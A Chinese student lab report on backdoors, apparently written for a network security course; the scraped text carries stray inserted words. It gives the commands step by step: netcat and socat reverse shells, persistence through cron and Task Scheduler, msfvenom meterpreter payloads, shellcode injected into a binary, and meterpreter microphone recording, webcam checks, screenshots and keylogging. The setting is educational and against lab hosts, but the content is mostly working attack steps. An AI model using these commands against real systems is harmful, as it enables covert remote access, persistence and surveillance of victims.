应用程序设定后门,用户安装后,后门就能够进入。例如课堂上讲到的百度。html
win中的后门伴随软件启动
linux能够用corn启动linux
能够获取他人的语音录音和视屏,还能够获取他人操做系统权限。web
杀毒软件查杀。shell
(1)查看win7和kali的ip:
(2)进入ncat.exe目录下运行ncat.exe -l -p 5313
(3)反向连接:nc 192.168.43.65313 -e /bin/sh
(4)kali输入nc -l -p 5313
(5)Windows反弹链接Linux:``` ncat.exe -e cmd.exe 192.168.43.56 5313
windows
(1)Windows输入指令ncat.exe -l -p 5313
监听
(2)Linux输入指令crontab -e
,选择3打开,在最后一行添加代码:53 * * * * /bin/netcat 192.168.1.185 5313 -e /bin/sh 在每小时的53分运行ncat回连win主机
(输入保存完成后,能够经过crontab -l
来查看)安全
(3)时间到了,就能够运行Linux shell指令:
架构
(1)打开Windows->控制面板->系统和安全->管理工具->任务计划程序:
(2)新建任务计划,填写任务名称
(3)新建触发器,设置为工做站锁定时,并启用:
(4)新建操做,在程序或脚本中选择所下载的socat.exe文件路径,在添加参数中添加tcp-listen:5313 exec:cmd.exe,pty,stderr命令
(5)运行建立任务,在linux中输入指令socat - tcp:192.168.1.185:5313
tcp
(1)在Linux主机输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.56 LPORT=5313 -f exe > 20165313_backdoor.exe
,此条指令意为生成一个.exe程序,名称为 20165313_backdoor,未来在windows上运行时会回连到Linux主机相应端口
(2)在cmd中输入指令ncat.exe -l 5313 > 5313_backdoor.exe
回车准备接收文件:
(3)在kali中输入指令nc 192.168.43.6 5313 < 20165313_backdoor.exe
发送文件:
(4)输入msfconsole
启动
(5)依次输入use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.56
set LPORT 5313
输入show options
查看:
工具
(1)Linux输入指令exploit
开始监听
(2)windows 双击后门程序执行。
(3)输入指令record_mic
录制一段音频
编码
(4)webcam_list
查看目标主机是否有摄像头
(5)输入指令screenshot
截取屏幕
(6)输入指令keyscan_start
记录击键内容,输入指令keyscan_dump
获取击键记录
(7)输入指令getsystem
提权失败
参考了同组任胤的博客(http://www.javashuo.com/article/p-fysxgnzg-cy.html),发现他先生成shellcode ,再注入pwn1的方法走不通,我就试想是否是MSF能够直接将shellcode注入到PWN1文件中去,我去找了找,发现MSF能够本身生成一个可执行的后门,而且能够设定输出的格式(https://blog.csdn.net/zsj2102/article/details/78549508),又根据学姐的博客成功使用MSF生成shellcode,pwn1中。以下图所示:
基本步骤学长的博客中都有了详细的介绍,这里我就不重复了(感兴趣的能够本身看看),这里我想说的是:
(1)在利用MSF注入时应考虑执行文件的属性问题,便是32位仍是64位执行文件。
(2)打开MSF进行监听的时候,要根据被攻击的主机即后门程序进行设置,即 set payload xxxxxx/meterpreter/reverse_tcp
中的xxxxx要根据实际状况进行修改。任务三,四中被监听主机是Windows系统,则应为windows
,而任务五中,则应改为linux/x86
。
(3)操做细节注意:在Linux执行pwn3(注入shellcode以后的文件)应先加权限 chmod +x pwn3
。
(4)msfvenom –h 查看帮助:
中文解释:
-p, --payload <payload> 指定须要使用的payload(攻击荷载)。若是须要使用自定义的payload,请使用'-'或者stdin指定 -l, --list [module_type] 列出指定模块的全部可用资源.模块类型包括: payloads, encoders, nops, all -n, --nopsled <length> 为payload预先指定一个NOP滑动长度 -f, --format <format> 指定输出格式 (使用 --help-formats来获取msf支持的输出格式列表) -e, --encoder [encoder] 指定须要使用的encoder(编码器) -a, --arch <architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台 -s, --space <length> 设定有效攻击荷载的最大长度 -b, --bad-chars <list> 设定规避字符集,好比: '\x00\xff' -i, --iterations <count> 指定payload的编码次数 -c, --add-code <path> 指定一个附加的win32 shellcode文件 -x, --template <path> 指定一个自定义的可执行文件做为模板 -k, --keep 保护模板程序的动做,注入的payload做为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out <path> 保存payload -v, --var-name <name> 指定一个自定义的变量,以肯定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表
经过后门进行的攻击更加隐蔽,也更加难以防护,因此只有真正了解其原理,才能找出对应的防护方法。